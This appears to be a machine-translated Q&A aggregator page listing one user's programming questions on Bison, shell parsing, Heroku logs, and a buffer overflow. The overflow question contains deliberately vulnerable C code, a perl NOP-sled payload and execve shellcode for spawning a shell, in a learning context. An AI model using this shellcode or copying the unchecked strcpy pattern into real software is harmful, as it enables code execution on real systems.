小编S7_*_*7_0的帖子

如何在mac OSX上安装bison

我正在尝试在我的macbook上安装Thrift.否则我收到一个错误:

configure:error:必须在系统上安装Bison 2.5或更高版本!

所以试图在我的操作系统上安装Bison,但我没有在互联网上找到教程.有谁能告诉我如何在我的系统上安装Bison?

亲切的问候

macos thrift bison

25
推荐指数
4
解决办法
2万
查看次数

shell运算符的优先级

我目前正在尝试使用BNF和LL解析器在C中重新编写shell.否则,我需要知道'|'的shell运算符的优先级是什么 ,"<<",",","<",">>",">","&",";" ?

有人能提供给我吗?谢谢

shell parsing bnf ll-grammar

4
推荐指数
1
解决办法
1473
查看次数

我正在尝试利用缓冲区溢出,我做错了什么?

我正在尝试使用本教程执行缓冲区溢出漏洞.我的帖子中的所有内容都将直接在GDB中执行.

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

这是我想利用缓冲区溢出的代码.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int     main(int argc, char *argv[])
{
  char  buff[256];

  if (argc == 1)
    {
      printf("Usage: %s input\n", argv[0]);
      exit (0);
    }
  strcpy(buff, argv[1]);
  printf("%s\n", buff);
  return (1);
}
Run Code Online (Sandbox Code Playgroud)

我目前正在研究Linux mint 18,我有64位处理器.鉴于我有64位架构.每个地址都是8个字节.现在让我们想象一下我当前的stakframe.


| buff [256] |


| RBP |


| 保存RIP |


我的目标是用"nop sled"的地址覆盖"SAVE RIP".鉴于我是64位架构.我打算用256 + 8字符填充变量buff.8个字符将用于覆盖RBP指针.我要用perl覆盖.

perl -e 'print "\x90" x 264'

然后使用我遵循的教程中提供的shellcode

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

我减去了26因为shellcode长度为26.

现在.我要找出使用GDB的nop雪橇的地址是什么.

   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov …
Run Code Online (Sandbox Code Playgroud)

c gdb exploit buffer-overflow

3
推荐指数
1
解决办法
780
查看次数

HEROKU与日志流断开连接.可能会发生您没有在这里看到的事件!试图重新连接

我在Heroku上推了一个项目并检查然后去

更多>查看日志

这是我的代码:

var admin = require("firebase-admin");
var express = require('express');
var app = express();
var bodyParser = require('body-parser');
var serviceAccount = require("./serviceAccountKey.json");

app.use(bodyParser.urlencoded({ extended: true }));    

console.log("HELLO WORLD");
Run Code Online (Sandbox Code Playgroud)

和显示

2017-05-18T13:31:12.548867+00:00 app[api]: Release v15 created by user mail@mail.com
2017-05-18T13:31:12.548867+00:00 app[api]: Deploy a13cfedb by user mail@mail.com
2017-05-18T13:30:56.000000+00:00 app[api]: Build succeeded
2017-05-18T13:35:10.000000+00:00 app[api]: Build started by user mail@mail.com
2017-05-18T13:35:26.442732+00:00 app[api]: Deploy 2beqer61 by user mail@mail.com
2017-05-18T13:35:26.442732+00:00 app[api]: Release v16 created by user mail@mail.com
2017-05-18T13:35:10.000000+00:00 app[api]: Build succeeded
2017-05-18T13:57:04.000000+00:00 app[api]: Build started by …
Run Code Online (Sandbox Code Playgroud)

heroku node.js

2
推荐指数
1
解决办法
1765
查看次数

标签 统计

bison ×1

bnf ×1

buffer-overflow ×1

c ×1

exploit ×1

gdb ×1

heroku ×1

ll-grammar ×1

macos ×1

node.js ×1

parsing ×1

shell ×1

thrift ×1